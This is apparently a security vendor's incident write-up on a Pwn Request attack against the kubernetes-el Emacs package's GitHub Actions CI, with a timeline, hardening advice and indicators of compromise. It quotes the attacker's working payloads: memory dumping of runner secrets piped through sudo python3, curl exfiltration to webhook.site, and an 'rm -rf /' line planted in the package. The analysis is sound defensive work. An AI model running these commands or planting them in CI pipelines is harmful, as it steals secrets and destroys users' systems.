Back to Blog

kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package

On March 5, 2026, a threat actor exploited a classic "Pwn Request" vulnerability in the CI workflow of kubernetes-el/kubernetes-el, a popular Emacs package for managing Kubernetes clusters. The attacker stole the repository's GITHUB_TOKEN (with full write permissions), exfiltrated CI/CD secrets, defaced the repository, and injected destructive code
Varun Sharma
View LinkedIn

March 9, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On March 5, 2026, a threat actor exploited a classic "Pwn Request" vulnerability in the CI workflow of kubernetes-el/kubernetes-el, a popular Emacs package for managing Kubernetes clusters. The attacker stole the repository's GITHUB_TOKEN (with full write permissions), exfiltrated CI/CD secrets, defaced the repository, and injected destructive code.

The package has since been removed from MELPA (Emacs's main package repository) and blocked from updating on the Emacsmirror, affecting users who depend on it for Kubernetes management within Emacs.

What Happened

A GitHub account named quicktrinny, created just one day before the attack on March 4, 2026, with no followers, no bio, and no prior activity forked the kubernetes-el repository and opened PR #382 titled "ci: add test" with the description "important test :)".

The PR triggered the repository's CI workflow, which used the dangerous pull_request_target trigger combined with an explicit checkout of the attacker's fork code. This gave the attacker arbitrary code execution inside a GitHub Actions runner with full write permissions to the target repository.

The Vulnerable Workflow

The repository's CI workflow (.github/workflows/ci.yaml) contained two critical misconfigurations that together formed the Pwn Request vulnerability:

The pull_request_target trigger grants the workflow the target repository's GITHUB_TOKEN and secrets. Normally this is safe because the workflow code comes from the target repo's default branch. But the explicit ref: ${{ github.event.pull_request.head.sha }} in the checkout step overrides this, it fetches code from the attacker's fork instead. The make build step then executes whatever the attacker placed in the Makefile.

The Exploit: Step by Step

The attacker iterated through 6 commits in their fork, refining the exploit across 3 workflow runs. The payload evolution shows a real-time learning process:

Commit 1: Hijack the Makefile

The attacker modified the build target in the Makefile to execute a shell script instead of the normal build:

# Original:
build : compile $(DEPS_PNG)

# Attacker's version:
build:
   @bash -c "chmod +x ./funny.sh && \
   ./funny.sh"

Commit 2: Create the payload (funny.sh)

The initial payload attempted to dump the runner's memory to extract the GITHUB_TOKEN, then exfiltrate it to a webhook.site endpoint:

# funny.sh (initial version)
TOKEN_VAL=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py \
 | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64`
curl -d "${TOKEN_VAL}" https://webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65
sleep 60m

Commit 3: Switch to a different memory dump tool

The attacker switched from a GitHub Gist-hosted script to the Cacheract memory dump tool (a known CI/CD security research tool):

# Updated source URL
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/refs/heads/main/assets/memdump.py \
 | sudo python3 | ...

Commit 4: Fix Makefile indentation

The first workflow run (run #22702057033) failed because the Makefile used spaces instead of tabs. The attacker fixed the indentation:

# Spaces (broken):
   @bash -c "chmod +x ./funny.sh && \
   ./funny.sh"

# Tabs (fixed):
@bash -c "chmod +x ./funny.sh && \
./funny.sh"

Commits 5 & 6: Upgraded payload -extract ALL secrets

After the tab fix, the attacker escalated their approach. Instead of just extracting the GITHUB_TOKEN, they targeted all secrets stored in the runner's memory using a JSON pattern match:

# Final payload (funny.sh)
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py \
 | sudo python3 | tr -d '\0' \
 | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT --upload-file /tmp/secrets https://webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d
sleep 9999

This extracted any secret matching the {"value":"...","isSecret":true} pattern from the runner's process memory including the GITHUB_TOKEN.

The workflow logs from the successful runs confirm the exfiltration. At 04:29 UTC, the make build step triggered the payload. A curl transfer of 350 bytes uploaded / 156 bytes response is visible in the logs, followed by the webhook.site response confirming the upload succeeded.

⛔ curl https://webhook.site/2a7334c9-... → BLOCKED

This is what StepSecurity Harden-Runner prevents

Real-time network egress monitoring for GitHub Actions. The call to webhook.site that exfiltrated secrets from this repo would have been detected and blocked before any data left the runner.

The Aftermath: Repository Defaced and Destroyed

With the stolen GITHUB_TOKEN, the attacker pushed 4 malicious commits directly to the master branch -no pull request or review needed:

  • 929c639 (04:30 UTC) — Defaced Readme.md — replaced all content with "HACKED BY DICK LONG" and an image
  • 09e06af (04:32 UTC) — Replaced kubernetes.el (the main package file) with rm -rf / — would destroy user systems if loaded
  • b27498c (04:33 UTC) — Repeated destructive commit
  • c084b10 (04:47 UTC) — Deleted nearly all repository files

Critical: The second commit replaced kubernetes.el — the package's main entry point — with a single line: (shell-command-to-string "sudo rm -rf / || rm -rf / || sudo rm -rf / --no-preserve-root"). Any Emacs user who updated or installed the package after this commit would have had this destructive command executed on their system.

The commits were authored as github-actions[bot] because the stolen GITHUB_TOKEN is associated with that identity, making the attack appear as if it came from an automated process.

Attack Timeline

March 4, 2026

  • ~00:13 UTC — GitHub account quicktrinny created

March 5, 2026

  • 03:40 UTC — Attacker modifies Makefile in fork to execute funny.sh
  • 03:41 UTC — Creates funny.sh with memory dump and token exfiltration payload
  • 03:47 UTC — Switches memory dump source from Gist to Cacheract
  • 03:49 UTC — Fixes Makefile tabs (first attempt failed due to spaces)
  • 04:17 UTC — Opens PR #382; first workflow run fails (still had tab issues in initial commit)
  • 04:26 UTC — Pushes updated payload; second workflow run succeeds — secrets exfiltrated
  • 04:28 UTC — Pushes again; third workflow run succeeds — secrets exfiltrated again
  • 04:30 UTCDefacement begins: Readme.md replaced with "HACKED BY DICK LONG"
  • 04:32 UTCDestructive payload injected: kubernetes.el replaced with rm -rf /
  • 04:47 UTC — Most repository files deleted
  • 05:28 UTC — PR #382 closed

March 7, 2026

  • 19:02 UTC — Compromise discovered and reported by tarsius (Jonas Bernoulli, Emacsmirror maintainer)
  • Package removed from MELPA and blocked on Emacsmirror

How to Protect Your Workflows

1. Never check out untrusted code in pull_request_target workflows

If your workflow uses pull_request_target, do not check out the PR head. If you must process PR code, use a two-workflow pattern: a pull_request workflow (with read-only permissions) to build and test, and a separate workflow_run workflow for privileged operations.

# DANGEROUS - don't do this:
on: pull_request_target
steps:
 - uses: actions/checkout@v6
   with:
     ref: ${{ github.event.pull_request.head.sha }}
 - run: make build  # Runs attacker's code with write permissions

# SAFE - use pull_request instead:
on: pull_request     # Read-only token, can't push to target repo
steps:
 - uses: actions/checkout@v6  # Checks out PR code (safe, limited permissions)
 - run: make build

2. Restrict GITHUB_TOKEN permissions

Set minimum permissions at the workflow level. For CI/test workflows, you almost never need write access:

permissions:
 contents: read    # Read-only access to repo contents
 # Don't grant write to anything unless absolutely necessary

3. Monitor network egress from CI runners

The attack exfiltrated data to webhook.site - a domain that should never be contacted from a CI build. Network monitoring tools like StepSecurity Harden-Runner can detect and block unexpected outbound connections from GitHub Actions runners.

Indicators of Compromise

  • Attacker GitHub Account: quicktrinny (created 2026-03-04)
  • Attacker Email: jump-kept-freckles@duck.com (DuckDuckGo relay)
  • Malicious PR: kubernetes-el/kubernetes-el#382
  • Exfiltration Endpoint 1: webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65
  • Exfiltration Endpoint 2: webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d
  • Memory Dump Tool: AdnaneKhan/Cacheract memdump.py
  • Defacement Commit: 929c639
  • Destructive Commit: 09e06af
  • Exploit Workflow Runs: #22702282382, #22702314529

Acknowledgements

This compromise was discovered and reported by Jonas Bernoulli (tarsius), maintainer of the Emacsmirror. He promptly removed the package from MELPA and blocked updates on the Emacsmirror, preventing further distribution of the compromised code to Emacs users. His swift action significantly limited the blast radius of this attack.

Blog

Explore Related Posts